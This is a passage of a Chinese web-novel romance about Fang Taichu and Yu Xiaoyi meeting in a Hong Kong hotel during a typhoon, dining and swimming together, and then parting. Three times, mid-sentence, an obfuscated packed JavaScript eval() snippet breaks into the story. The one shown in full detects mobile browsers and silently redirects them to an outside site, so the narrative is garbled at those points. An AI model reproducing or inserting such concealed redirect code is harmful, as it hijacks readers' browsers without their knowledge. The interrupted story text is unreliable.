余萧弋点点头,笑:“这几幅画都出于同一个意大利画家之手,买的时候画家还名不见经传,现在嘛,咱俩要是能把它们偷出去,肯定能狠狠赚上一笔。” “你怎么知道?” “恰好认识经手人。” 小初笑出声来,“问题是,要怎么才能偷出去。” 余萧弋说:“先去吃饭,吃饱了才有力气想办法。”又不经意问她:“你看这幅画的时候在想什么?” 小初一时没设防,直言道:“我在想,爱似乎都是有一方在执意施与一些别人不需要的东西,最后两败俱伤。” 余萧弋说:“谁说不需要,你没见被施与的那一位欢迎的姿态有多热烈?你怎么知道它没有在享受。 ” 小初心头一震,又静静看了看那副画,没有再往下说。 两人一起来到楼上的餐厅。 绮丽一共有六七家不同风格的餐厅和酒吧,唯有这家米其林二星的中餐厅提供夜宵,只是夜宵的品类比正餐要少一些。 余萧弋快小初半步,在她落座之前,他已经帮她把椅子了拉出来,就连餐厅的服务人员都笑说:“余生好风度。” 餐厅内除了他们并没有别的客人,因此灯光被调得很暗。 外面雨势似乎比之前更大了一些,维港对面的摩天大楼模糊地映过来,与玻璃上的水痕混合成一片无序又杂乱的光影,更衬得室内静谧而悠远,像是某位神仙私设的结界。 余萧弋看了看菜单,问小初:“你想吃什么?” 小初说:“要么就吃云吞面?” “可以啊。”余萧弋合上菜单,微笑着递给服务人员,“一份云吞面,一份餐蛋面,饮料的话……”他想了想,“我要BB鸳鸯,你呢方太初?” 他那个温软的口音喊她全名有种说不出的味道,小初微微抬头,头顶昏黄的灯光骤然晃进她眼底,泛起一阵微小的波痕,时光静了几秒。 小初说:“饮料我就不喝了,吃了热热的面,刚好回去补觉。” 余萧弋点头:“也好。” 待服务人员走开,小初才漫不经心问他:“你同她们很熟?” “谈不上熟,不过我每周大概都会过来吃一次饭,时间久了,彼此多少都有点印象。” 小初微不可察地挑了挑眉。 每周一次。 余萧弋立刻解释:“你不许乱猜啊,这件事和Rebecca无关。” 小初笑:“我有说什么?” “这世上又不是所有事都只能靠语言表达,你那个玩味的神色,已经出卖了你。” 小初嘁了一声,“你还会看面相啊?” 余萧弋一本正经:“我还真会。” 小初说:“那你帮我看看,我什么时候能发财。” 余萧弋笑:“有多发财?” “很发财很发财,名利双收那种,回头你再来这间餐厅吃饭,港湾那边所有建筑的外立面上都是我方太初的大名。” “好,你别动,我帮你看看。” 余萧弋故弄玄虚地低头轻咳了一声,再抬头,眼神已经沉静下来,只有眉间残留的笑意还蔓延着未及收起的温柔。 果然人家说得没错,对视就是人类与情欲无关的精神接吻,两人虽然并没有什么实质意义上的接触,小初却无比清晰地感受到了空气正在升温。 客观来说,余萧弋绝对算得上她前二十年见过的最好看的男生之一,无论是样貌,身材亦或是气质,都称得上无可挑剔。 尤其是那双深邃明亮却又天然充满故事感的眼睛,实在不宜多看,看多了……就算清醒如她,恐怕也要沉沦。 所以她刚刚那句话不过就是个玩笑,却不想自己给自己挖了个陷阱,他太认真,她反倒不好回避,回避就显得心虚,她的骄傲不允许她败退,可还是有什么东西不动声色地出卖了她,还没过两分钟,她所有裸露在外的皮肤就都变成了一片绯色。 “你到底是不是专业的啊?”小初别开视线,用力打破暧昧,“我感觉你都快看到我的八十岁了,要是八十岁还没发财,这辈子也就到头了。” 余萧弋也没比她好到哪去,缓了半晌,才让自己的声音听上去更自然些,“方小姐你已经很发财了,不用再往前看了。” 小初眉心一跳,她自觉她并没有哪一刻透露过自己的底牌,他是怎么看出来的? “你不是在哄我吧余先生?” 服务人员适时出现,“BB鸳鸯请慢用。” 余萧弋低头喝了口饮料,也未做过多解释,只说:“总之,至少从这一刻起,方小姐就已经走在发财的路上了。” 小初挑挑眉:“那就借君吉言吧。” 余萧弋也学她挑挑眉,“我向来不打妄语。” 没一会儿,两人的面就上来了。 小初看了看他的那一碗,不禁哑然失笑:“感情餐蛋面就是午餐肉荷包蛋煮方便面啊?就这一碗要一百多港币?早知道你好这一口,你找个电热锅,我帮你复刻一碗一样的,也不用168,你付我个零头,68就行。” 余萧弋一怔,一种异样的情绪不受控制地从心底蔓延上来,仿佛他长这么大从未如此愉快过,“你还会煮面?” “实话说没煮过。”小初摆摆手,“不过,煮个方便面而已,还需要什么技术?” 什么技术难题又比得过将来从她爸手中接管亦方科技?她但愿自己四年后能顺利毕业,否则,她就要把她爸妈的脸丢到外太空了,到时候铺天盖地的营销号还不定要怎么编排她。 余萧弋越发愉快,“那倒是。”又问小初:“你那碗云吞面怎么样?” 小初答:“还行,其实我之前来香港总吃。” “所以你之前很多机会来香港玩吗?” “机会是很多,但时间有限,我平常挺忙的。” 余萧弋莞尔,“哦,是吗,都忙些什么?” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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餐厅服务员玩味看了他们俩一眼,“所以二位,到底谁付?” 小初如梦初醒,赶紧顺势松开手,抢着说道:“我付。” “嗯,她付。”余萧弋不动声色地活动了一下不听使唤的手指,忽而一笑,“方太初,看你也挺爱付账的,那明天的早餐你能帮我也一块付了吗?” 小初顿时眯了眯眸子,“你还要吃早餐?” 余萧弋好整以暇的,“对啊,天马上就亮了,还有两个小时,各个餐厅就要开始提供早餐了,这次我想吃西多士配港式奶茶,可以吗?” “不可以。”小初付了两碗面和一杯饮料的钱,不容置疑地抓过他的手腕,将他按坐在座位上,“你也别等天亮了,现在就把你的食物吃完。还有你这个什么BB鸳鸯,一口都不许浪费。这样……”小初将声音放缓,放轻,“大家就都能睡个好觉了。” “……”余萧弋有些为难,“一定要吃完吗?” 小初抱着双臂坐在他对面,面无表情地点点头,“你要是两个小时后还能有肚子吃早餐,现在就有办法把它们都吃完。” 她平生最讨厌有人浪费食物,以及无事非拉着她早起了。 好容易赶上一次台风天,谁不让她睡到自然醒,她就跟谁拼命。 到最后,余萧弋还是听话地吃完了一整碗面。 小初说:“还有饮料。” 余萧弋无奈看她一眼,“小姐,你等我缓缓。”而后又说,“冰块都化了,好难喝。” 小初终于忍不住笑出声来:“刚刚就想问你,这个鸳鸯到底是什么东西啊?” 余萧弋也不自觉勾起了唇角,耐心解释道:“鸳鸯就是咖啡混奶茶,不过前面加上BB二字就变成了好立克混阿华田了,不含咖啡因的。” 小初恍然道:“原来是这样,好可爱,那是不是还有BB奇诺还有BB柠檬茶什么的?” 余萧弋讶然于她的脑回路,没有回答她的问题,却不自觉重复了一句,“是好可爱。” 10. 第 10 章 小初自然醒来的时候,已经接近上午十点。 糟糕的天气和陌生的环境让她有些懵,一时竟没反应过来自己在哪里。 待反应过来,那个名字就如影随形般又贴了上来。 就在一天之前,她还是个满怀憧憬的少女,觉得这世上就没有什么事能难到她,这还没过二十四小时,她就已经暮气沉沉对什么都提不起兴趣了。 早知道失恋的滋味这么痛苦,她一开始就不该喜欢他。再想到他说的什么——对她没有碾碎自己的欲望,她就更加后悔,后悔没有当场给他一巴掌。 对她没有欲望…… 谁稀罕他的欲望? 还有,喜欢一个人为什么要以碾碎自己为代价?碾碎的又是什么东西?身体还是灵魂? 小初烦闷地走到镜子前,看着里面的自己。 托她爸妈的福,她从小就生的高挑纤细,五官立体,就连头发都丰盈到一度羡煞系里好几个越来越秃的数学男。 十五岁时陪黄亦玫去参加活动,还有经纪公司递名片,非要签她做演员,她如此天生丽质,他竟然能说出那么混账的话来,可见他不仅混账,眼光和审美也大有问题。 “可恶。” 小初恨恨骂了一句,可转念就想起他的阿沅那张大气风情的脸…… 不,他审美可好得很呢。 意识到这一点之后的小初更加郁闷了,她这才明白,原来人真正的长大是从发现这世上也没有那么多人喜欢自己开始计算的。 毕竟,只有小孩子的世界才都围着自己。 所以今天就是她真正意义上的成人礼呗,这么说,她应该要做点什么庆祝一下才对的。 可她对着镜子发了半天呆,也没想出她究竟干点什么才能让自己更开心点,最后还是打开了Annals开始啃论文。 她每次学习的时候都会特别专注,专注让她忘我,如此那些不开心的事也就可以随之一块消失了。 读完论文已经中午十二点,她不想出门,干脆叫Room Service送了份意面过来,吃完又翻开吉米多维奇做了两道证明题。 等疏通完逻辑,发现自己真的做到了每个步骤都严谨完美到毫无漏洞,她才长舒了口气,觉得自己又活过来了。 男人而已,有就有,没有也算了,说不定,有了只会影响她解题的速度。 忙完这一切,她才有空看手机。 微信消息99+,她没耐心每条都看完,只捡着重要的回了回,然后就从箱子里翻出了泳衣。 她已经打定主意要尽快将自己从失恋的痛苦中解救出来,那么运动当然是最快的方式。 昨天她特意看了,这家酒店九十六层就是室内游泳池,这个时间大家应该都在享受下午茶,游泳的人肯定不会多。 她的泳衣就是简约的黑色吊带连体款式,和她那条白色风琴网球裙随便搭搭就可以直接穿出门。 只是她没想到,她刚推开门,就碰上了刚好也从房间走出来的余萧弋。 巧合到像两个人约好了似的。 他跟她打招呼,“嗨。”然后也不知是看见了什么,只一个字就错开视线可疑地红了脸。 小初立刻低头审视了一下自己,她这身衣服虽然有点显身材,但也算无懈可击,他一副非礼勿视的模样是什么意思? “你……” 他顿了顿,好像不知道自己该说什么了。 小初有些莫名,“怎么,余同学今天说话的方式就是一个字吗?” “不是。”他被她逗笑,“我是想说,你怎么都没回我消息,本来中午我还想约你一起去吃饭的。” 小初有些疑惑,“你给我发消息了?不好意思,可能前面屏幕滑得太快,没有看见。” 余萧弋似是有些失落,又问她:“你的脚有没有好一点?” “嗯,好多了,还真要谢谢你昨天的冰敷。”要不是他提起,她都快忘了这码事了。 走廊里好几个女房客经过的时候一直朝他们的方向张望,小初心下了然,慧黠地看他一眼,“余同学,她们在看你呢。” 余萧弋烦躁地解开了衬衣最上面的一粒扣子,让自己的呼吸顺畅一点,“看我做什么。” 小初笑,“看你好看呗,帅哥嘛,多看看可以刺激刺激多巴胺,有助于保持年轻。” 余萧弋简直不明白一个人是怎么在如此纯真勇敢的性格底色下还能保持那么重的戒备心的,愕然了好一会儿才挑眉看她,“哦,那你怎么不看我?” 小初大笑,“因为我本来就年轻啊。” 她笑起来的样子明媚至极,余萧弋想不通这世上还有人不珍惜这样的笑容,一种说不清道不明的心疼情绪涌了上来,让他有些发怔。 小初朝他摆摆手:“走了啊。” “走去哪里?” “九十六层游泳池。” “那要不你等我一下,我们一块去?” 小初睨他一眼,“我是真的去游泳的,不是去休闲聊天拍照打卡的,你确定你要跟我一起去?而且,我的风格是一口气游到精疲力竭为止,我怕你跟在后面根本看不见我的影子。” 余萧弋呼吸一滞,“方小姐是刚参加完世锦赛吗?” 小初骄傲地扬了扬下巴,“我要是从小真花时间训练,世锦赛也没什么可望而不可及的。” 余萧弋实在没忍住,用手戳了戳她的头,“好,你别走,等着我。” 说完,他就回房间拿泳衣去了。 他的手指蜻蜓点水般落在她的额头上又迅速飞走,直至他从视线里消失回了房间,小初还停留在那个若有似无的微凉的触感里。 两人一块来到九十六层。 小初没猜错,这个时间这里还算清净,除了大大的落地窗边拍照打卡的几个漂亮女生以及岸边沙发上等着她们的几个歪瓜裂枣和肚满肠肥,泳池里空无一人。 余萧弋去试衣间换衣服的空挡,小初已经热好身跃入潋滟水中。 她游泳这事是她妈妈亲自启的蒙,偶尔她爸也教,不过后来还是专门请了教练,那教练退役之前曾是全国游泳冠军。 小初因此什么泳姿都会一点,但她最擅长的还是蝶泳,那个双臂配合腰部发力波浪式向前推进的方式让她感觉自己是一条真正的鱼,无比自由。 余萧弋从试衣间出来,发现岸边早没了小初的影子,直至她从泳池另一端跃出水面,他的一颗心才安定下来。 她的身段有种少女特有的窈窕和轻盈,发梢滴水的样子简直可以直接上少女杂志,却不会让人联想到色欲,只会让人感叹青春真好,夏天真好,一切都刚刚好。 不知怎么,游泳池的消毒水味突然不再讨厌,连空气里的风都是鲜活而蓬勃的生的味道,让人恨不能多吸几口。 小初游到他身边,双臂自然搭在岸边的地砖上,自下而上看了他一会儿,忽然展唇而笑,“余萧弋,你这个身材,真是天生该你吃这碗饭的。” 余萧弋愣了半晌才明白她在说什么,下一秒已经跃入了水中,将她半圈在了怀里,“你再胡说一句试试?” 小初没想到谦谦君子还有这样一面,慌乱之下只想逃,不想他根本没给她这个机会,反而轻而易举就将她调成了面对他的姿势。 泳池瓷砖上的凉意顺着后背传导进身体,可她却什么都感受不到了,只觉得热得无法呼吸。 “对不起,我开玩笑的。”小初向来知道什么时候应该低头,眼神无比真诚,“我错了,下次再不说你了,我本意只是想夸你身材好而已。” 从她这个视角看过去,刚好可以看见水面上正在荡漾着的,他的半截胸肌。 余萧弋不说话,只静静看着她,只是眼神里有什么东西正在升腾,小初想起了窗外正在肆虐的热带风暴。 可她是个北方人,骨子里就害怕这东西。 “你不是说我们是朋友了吗,既然是朋友,开两句玩笑,你应该不会往心里去吧?” 余萧弋说:“我已经不准备把你当朋友了。” “那你要怎么样才能原谅我?” “回答我两个问题。” 小初想了想,点点头。 两个问题而已,她那么擅长证明题,就算是故意说谎,她相信他也找不到她逻辑上的漏洞。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事,我在想,我要怎么才能快点好起来。”小初灵巧地从他手臂下面溜走,直游了好几米才回身过来,“一会儿记得推荐我一家好吃的餐厅!” 余萧弋抿了抿唇,不声不响地追了上去。 两人直游到快天黑才停下来。 “没想到你游得还不错。”小初将湿漉漉的头发散开一点,她决定回房间再洗澡。 “那不然呢?”他笑着学她,“我要是从小真花时间训练,说不定已经是世锦赛冠军了。到时候方小姐再来香港,维港对面的摩天大楼上挂的就是我余萧弋的大名了,很发财那种。” 小初嘁了一声。 他把他T恤外面的衬衣递给她,“披上点,小心着凉。” 小初低头看了眼自己紧贴着皮肤的泳衣,还是从善如流地接了过来,将衣服披在了身上。 两人迈步走进电梯,里面刚好没人。 余萧弋突然问她:“你们学校漂亮吗?” 小初不可思议地瞪他一眼:“哥,我们那好歹是百年名学府。” 余萧弋的额发沾了水,不仅不塌,反而有种赏心悦目的性感,小初将一切照单全收。 她错了,就算她年轻,看看帅哥也是可以保持心情愉悦的。 “那……”他稍稍俯身下来,“你们学校什么时候最漂亮?” 小初想了想,“秋天吧,不是我们学校秋天最漂亮,而是秋天的北京最漂亮,跟你们这里是完全不同的两种风格。” “好,等秋天一到,我就去北京找你。”余萧弋的声音温柔而清朗,似沧浪之水,令人心头一颤。 “啊?”小初始料未及,一时竟不知该怎么答。 “啊什么啊?不欢迎吗?” “不是……” 电梯门突然打开。 两人抬头一看,这才发现他们刚刚谁都没有按楼层健,现在电梯已经到八十层来了。 几个打扮时髦的青年男女迈步而入,目光交错间已有一人惊讶出声:“Theo?你几时返港的,怎么也没联络大家?” 11. 第 11 章 余萧弋问小初愿不愿意陪他和朋友们去吃个饭,鬼使神差的,她竟答应了。 余萧弋似是没想到她会答应,待反应过来之后整个人简直像港岛入了春似的,随意一个眼波的流动,都是一派春和景明。 小初愕然看了他片刻,想说点什么,最后却什么都没说,直至回房间洗澡的时候她还在问自己,她到底是怎么想的。 明明刚刚那帮人一听见他同她讲普通话,看她的目光就从打量变成了审视。 有些东西不是她太敏感,而是她数学太好,比常人更能感受到25%和75%的区别。 黄亦玫曾教她,评判一个人是否能做朋友,要先去看他本来是一个什么样的人,他的底色永远比他对她好与不好更重要。 宁可要君子的淡漠,也不要小人的殷勤。 余萧弋刚刚那句「去北京的秋天找她」带给她的惊悚感,简直无异于要给她介绍工作去缅北…… 她和叶子瑜好歹还算从小一块长大的,这么多年的友情都没有转化为爱情,他余萧弋才认识她两天,是怎么做到热情得像画上面岸边那棵树一样,恨不能把浑身的叶子都化成流星雨落向她的。 他又凭什么觉得她会像水里那棵树一样张开双臂热烈欢迎他。 就凭他长得好看吗? 她要只图好看,让她爸把她喜欢的男明星请回来给亦方做代言人岂不是更简单直接? 小初笑自己,她什么都像她爸妈,唯一没遗传的,大概就是他们身上的浪漫主义弊病了。 时间太短,她还看不清余萧弋的底色,但她相信,他身边大部分的朋友什么样,他大概率也什么样。 没有人会超脱环境。 想明白这一切的小初并没有更安心,反而有点不知所措,因为她突然意识到,她已经在给他机会,让他证明他是她可以成为朋友的人了。 换了条简约的小裙子又化了个淡妆,小初就出了门,这一次,换成他等她。 “方太初,你好漂亮。”见她第一句,余萧弋就把心事出卖了个彻底。 小初愣了愣。 和她认识的那些内陆男生都不同,余萧弋的气质似是兼具了东西方的含蓄与直白,总给人一种既高智干练又矜持温柔的矛盾感。 此刻的他直白得简直让人心惊,小初低头看了下自己,有些不好意思,“我这样可以吗?我看你那些朋友穿得都挺讲究的,我也不好太随意。” 余萧弋不假思索,“非常可以。” 小初稍稍心安,而后又解释,“只不过我的衣服都不贵,你也知道的,内地的风气比较务实,尤其我又长在海淀,那边满大街随便一个拎超市购物袋的大爷,都可能是个院士。”小初大笑,“不过他们都说我们海淀土。” 余萧弋满眼温柔,“穿搭基础,人就不基础。” 小初瞪大眼睛,“余同学,你还玩内地的互联网呢?” 余萧弋骄傲地挑了挑眉:“我妈妈哈尔滨人。” 这下轮到小初震惊,“啊?那你们家是?” 余萧弋说:“后面再慢慢和你说。” 小初点点头,心里对他的好感又进了一层。 她说她怎么总是不自觉对他放下防备呢,原来是因为两人身上都有一半的东北血统啊。 又想难怪他会长得那么高,上次她回延吉陪奶奶的时候还想顺便去一趟哈尔滨的,只是苦于没有人同行,或许,下次可以跟他一块去。 两人到餐厅的时候,菜已经上了一大半。余萧弋给两边的人做了介绍,大家互相打了招呼,小初就坐下来一边吃东西一边听他们聊天了。 对方人太多,而且每个人都是既有中文名又有英文名的,小初其实并没有太记住谁是谁,好在他们对她也很冷淡,并无和她交谈的意思。 小初最欣赏的就是香港人的边界感,没人找她尬聊,她反而可以好好享受享受音乐和美食。 这是一家法式餐厅,能开在绮丽,菜品和格调自不必说,但小初从小到大法餐吃得太多了,也就觉得泛泛,并没有很惊艳的感觉。 餐厅内中国人和外国人参半,碍于着装要求和社交礼仪,大家都很优雅端庄,连讲话声都放得很轻。 香港人讲话很有意思,粤语中掺着英语,英语发音音调又做了本土改良,听起来就特别锻炼耳朵,小初语言天赋还可以,半听半猜倒也听了个七七八八。 果然世界就是个巨大的草台班子,无论哪的人凑一块都不能免俗,聊着聊着八卦就要开始暗戳戳地炫耀了。 她听见他们先聊了会度假海岛上的风光,又从IG上某个富二代网红,自然而然聊起了包包,坐小初对面的爱马仕姐吐槽不在现场的某个人,被SA耍成小丑,配货配了一堆破烂回来,送家里佣人都不定怎么被嫌弃。 又有人聊起她六十几岁的爸养在加拿大的二房,今年又生了第四胎,家族信托分钱的队伍日益壮大,真是可喜可贺。 其他人义愤填膺,纷纷附和。 然后又聊起谁的姐姐在澳洲刚生了小朋友,众人看着照片一阵感慨好cute,头发也cute鼻子也cute安抚玩偶也cute,又大骂姐姐的婆婆,小朋友刚生出来就开始催生,说什么最好凑个球队出来家里才热闹。 最后说起某几只股票,本想试试水的涨势一路高歌,最看好的那一只反而差点赔掉底裤。 又抱怨余萧弋,假期独来独往都不理大家,一点义气都无。 余萧弋也不解释,只淡笑:“我错了,今天我请好了。” 某人说:“当然你请,你这美人相伴春风得意的。一个星期之前还信誓旦旦自己没有女朋友,方小姐该不是你从哪里短租过来骗我们的吧?” 余萧弋听了立刻冷了脸,“你再胡说一句,从此后别说认识我。” 那人悻悻,不再吭声。 余萧弋紧张地看向小初:“对不起啊,铭仔这人平时就爱开玩笑,不是故意冒犯你的。” 小初弯了弯唇,教养极好:“没关系,他大概率是暗恋你,所以才会这么紧张你身边的朋友。” 余萧弋嘴角一抽。 那个叫铭仔的一听不干了,“我才不是Gay!” 小初懒得理他,低头喝了一口红茶。 嗯,他们家今天也就这红茶还可以。 其他几个人听了又玩味打量了小初一遍,似是碍于余萧弋的面子,也没说别的,只彼此交换了个不可言说的眼神,就聊到别的话题上去了。 小初听得意兴阑珊,脑子里对这群人的画像也逐渐清晰。 他们彼此间很熟,甚至可能比她和叶子瑜认识的时间还长。 都是一群吃喝不愁的富二代,家里至少中产以上。英语夹着粤语说的是常年在国外的,粤语夹着英语说的是还没出去但估计也快要出去了的。 整个聊天的过程中余萧弋倒是还算安静,大多数时候扮演的都是倾听者的角色,而且她明显感觉他心不在焉,好像更多关注的都是她的感受。 诸如她能不能接受这里的食物,会不会觉得闷,冷气有没有太冷。 小初突然很好奇,他一个开平民车的,是怎么和这帮人混到一块去的。 “对不起啊,他没什么文化,你大人不记小人过,千万别往心里去。”他贴着她的耳朵解释道。 他突然的靠近让小初瞬时红了脸,往旁边躲了躲,小声说道,“你不要太近,我能听见。” 他笑:“我当然知道你能听见,我是怕他们听见。” 小初直白地说:“那你们是不是真朋友啊。” 她跟叶子瑜,可是即使不能亲嘴还能斗嘴呢。 “你不懂,香港很小,很多东西盘根错节。而且……”余萧弋公正地说:“他们骨子里都不坏,虽然娇纵,但也义气。” 小初不置可否。 只问他:“刚他们聊留学的事你怎么不搭腔?你没打算出去吗?在你们这,没有海外教育背景很难立足吧?” 余萧弋不答反问:“那你呢?没想过出去吗?” 小初一怔,“我?我肯定不出去呀。” “为什么?你们学校大部分硕士阶段也都出去了吧?” 小初想起舅舅黄振华的那句话——可以,但没必要。 她一个互联网行业的企二代,又不需要像她爸当年创业时候那样凡事都要亲力亲为,国内Top2的博士,其实已经有些学历过剩了。 但这话说出来未免太狂妄,所以她只能从另一个角度给他答案:“我是我爸妈的独生女,他们上面还有三个老人,舅舅舅妈岁数也大了,小表弟还小,这个家以后得靠我,我不能走。” 余萧弋千想万想没想到她是这么想的,不禁越发好奇她究竟是怎么长大的。 毕竟,他身边的大多数人,还在想怎么才能从父辈那边拿到更多好处,责任的事,都暂且放在一边呢。 余萧弋垂眸注视着她:“你爸妈有你真幸福。” 小初被他认真的样子逗笑:“那不是废话吗,我这么好,谁有我不幸福?不过,其实有我爸妈,我才是那个更幸福的人。” 余萧弋被她的快乐感染,非常认可地点了点头。 小初看了看表,“时间差不多了,我就先撤了吧。你们慢慢聊,回头餐费多少我A给你。” “这就走了?” 余萧弋眸底的春水骤然结成了冰,并碎裂开来,顺着血管往心头刺去。 他隐隐觉得好像有什么事被自己搞砸了。 “嗯,走了。”小初看着他的眼睛,真诚一笑,“谢谢你啊,余萧弋,你名字真好听。” 余萧弋没太听懂,只问她:“要不吃了甜品再走?他们家甜品还不错。” 小初站起身:“不了,我还有事。” 余萧弋只好也跟着她站起身来,就在这会儿,忽听得一阵喧哗声从落地窗那边传来,很突兀,和整个餐厅的氛围很不符。 这次是普通话夹杂着英语。 普通话在道歉,英语带着醉意,电报似的一长串都是违禁词。 众人都转过头去看。 原来是两个女孩坐在落地窗旁边拍照,不小心碰到了隔壁桌的白人,对方喝了点酒,又占着理,就有点不依不饶的意思。 小初看着那两小女孩恐怕还没她大,一副青涩的学生模样,那个醉酒的白男看着得接近两米,骂起人来的气场更是要乘以十,那两个女孩吓得一直低头道歉,头都不敢抬。 餐厅经理走了过去,了解了情况之后也一直在安抚白男的情绪,并再次要求小女孩道歉。 小女孩照做,不仅照做,还照做了不下五十遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309757|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为小初看见她们一直在说对不起,几乎就没有停下来。 不知怎么胸口就有点闷。 余萧弋回头看了眼小初,嘱咐到:“你在这等会,我去看看。” 小初虽然有些不明白为什么他要去看,但还是点了点头,又坐了下来。 待他离开,他的那些朋友终于没了顾忌,把心里想讲的话干脆都讲了个痛快,而且这次说的还是普通话。 小初第一次发现,原来他们也会说普通话,而且说得也挺能让人听懂的。 “这些人也不知道在拍什么,一天到晚拍拍拍,走在路上也在拍,他们不觉得自己那个样子很滑稽吗?” “这两个女人也真是有病,还要害Theo出来帮他们解围。” “我记得Theo的妈妈……” “你还真以为他出来帮忙解围是因为他妈妈啊,这里是Rebecca的地盘OK?他不想影响酒店声誉而已。” “难怪Rebecca那么疼他。” “话讲回来你们都不知道这帮人有多离谱,我这次乘那个游轮,是真的有人从普通舱跑上来钓有钱男人的,就跟那个电视剧里演的一模一样,My God,这个世界疯了。” 似是有人终于想起了小初,问道:“方小姐,你是怎么认识Theo的啊?” “飞机上。”小初浑不在意地笑笑,送了口鱼子酱龙虾在嘴里。 只是下一秒,她就因为尝出了里面她不喜欢的味道而蹙起了眉,好在她没有在这么多人的注视下吐出来。 刚刚那个铭仔一脸玩味,“怎么了方小姐,吃不惯啊?这可是他们家的招牌,蓝龙虾配香茅和鱼子酱,你多尝尝咯。” “难怪。”小初了然,赶紧喝了口水漱了漱,“好好的欧洲菜一股东南亚香料味。” 几人愣住。 似是在思考她刚刚那句话是什么意思。 小初抬起头来,眼神依旧明媚而纯真,“哦,你们刚刚问余萧弋是怎么认识的我是吧?我们是在飞机上认识的,他特地为我买的普通舱,跟电影里的情节一模一样,这个世界确实挺疯的。几位,enjoy yourself,我还有事,先走了。” 小初拿起桌面上的账单,她原以为这里人均要几千块呢,原来不算酒水也就那样。 余萧弋那边已经安抚好了两边的客人,不过,在他回来之前,小初已经大踏步离开了餐厅,乘电梯下了楼。 回到房间,她就叫客房服务取走了刚刚她穿过的那件属于他的衬衫。 * 余萧弋好容易脱身下楼的时候,小初房间已经没了声音。 他怕她睡着了也不敢敲门,只敢发微信给她:“睡了吗?” 大约过了五分钟,她才回他:“嗯,怎么了?” “没事,想着你要是没睡,我能不能和你聊聊。” 她回他:“很晚了,有什么话明天再说吧。” “哦。” 想着自己这样好像有点无礼,他赶紧又补了句:“那晚安,明早一块吃早餐。” 小初没再回。 新闻上说,此次热带气旋强度已减弱为热带低压,天气将于明日八时起有明显好转,各项交通服务将逐步恢复,机场航班也将重新编配。 这一夜的风雨之势明显减弱了不少,但余萧弋却睡得极不安稳,连梦里都在一直在追着什么人的影子跑,可醒来后他却怎么都想不起那人的脸,也不记得他追她的时候都喊了什么。 他累极了,整个人的状态都不太好,但还是没忘记昨晚和方小姐的约定,于是他认真梳洗,然后走向她。 他敲了很久的门,直至敲来了客房服务。她们递给他一件洗的干干净净,也叠的整整齐齐的衬衫,以及一个白色信封。 他几乎是用颤抖着的手打开的它。 原以为那会是一封信,事实上倒也能算是,但它更像是一张账单,上面一笔一笔清晰记着她应该补给他的钱,房费的差价,最后那顿晚餐的钱,她甚至还没忘记说——酒我没喝,那个钱我就不A了啊。 她把一切都算得清清楚楚,完全的公事公办,还没忘在信封里给他附一沓港币。 只有在账单的末尾才有极短的几句话。 「余同学,你好。很开心在香港认识你,但每个人都有自己的路要走,你我已殊途。我是个即使哭泣也要用力奔跑的人,不适合做朋友,更不适合做别的。因为我不够脆弱,又不肯停下来倾听别人的脆弱。北京的学校名是骗你的,别浪费时间来找我(当然这算是我的一点自作多情),无论我在哪里都会祝你幸福。你是个好人,理应得到幸福。落款,小方。P.S.给你留的钱大概还多了一点,刚好请你吃明天的早餐,记得给自己点个西多士和一杯港式奶茶。」 余萧弋还没读完就已经泪流满面,然后又气得恨不能把信和那叠钱都碎成一万片,但到底还是没舍得。 “方太初,你还真会杀人虐心啊!” 他给她发消息,才发现自己已经被她拉黑。 他这才意识到,他除了知道她一个名字,其余的皆一无所知。 她就这样在他的生命里短暂出现,又彻底消失了。 就在昨天,他还以为属于他的港岛的春天终于来临了呢,没想到一眨眼的功夫,就春逝了。 12. 第 12 章 方太初已经连续三个星期凌晨一点以后才能入睡了,她感觉再这么下去,用不上半年,她就能提前去见她太奶了。 转念一想,她太奶还是说朝语的,也不知道凭她的那点三脚猫的水平,能不能顺利跟她老人家接上头。 又是一个黑色星期五,小初正目光空洞地看着天花板发呆,忽听得整栋大楼轰然一声巨响,吓得她一下就从床上坐了起来。 恰逢室友林佳宜推门进来,见她一脸惊恐模样也有些不忍:“太初,我看要不然你就找房子搬出去住算了,你对声音这么敏感,这么下去也不是办法。” 小初哪还顾得上这个,只抓着她急急问:“你刚刚有没有听见老大一声响?我想知道是我幻听了还是真的。” 林佳宜被她逗笑:“放心好啦,是真的,他们刚刚好像不小心把一个什么柜子给弄倒了。” 小初咬牙切齿,“他们这帮local生到底有完没完?每天这么闹,一点公德心都没有吗?” 林佳宜叹口气:“谁让我们俩倒霉,被学校塞到这男女混住的本科宿舍楼来了。他们有那个什么宿舍文化来着?飞升是吧?” 小初笑:“姐姐,你是不是我们大陆的仙侠剧看多了?” 跟她一样,林佳宜是从台大来参加国际项目的,大概因为两人都是交流生,所以才被学校分配在了一个二人间宿舍,只不过,她是临床医学的。 其实能申请到宿舍就已经算学校对她们这种交流生的特殊照顾了,听说还有好多学生申不上只能被迫出去租房,香港这地寸土寸金的,租房又是一笔不小的开销,并不是所有家庭都能承担得起。 林佳宜比她大了三岁,性格温柔凡事都不太计较,极好相处,要不是因为这个,小初恐怕连今天都坚持不到。 小初学她的台湾腔,“他们那个叫仙制啦,参考南韩的前后辈文化。” 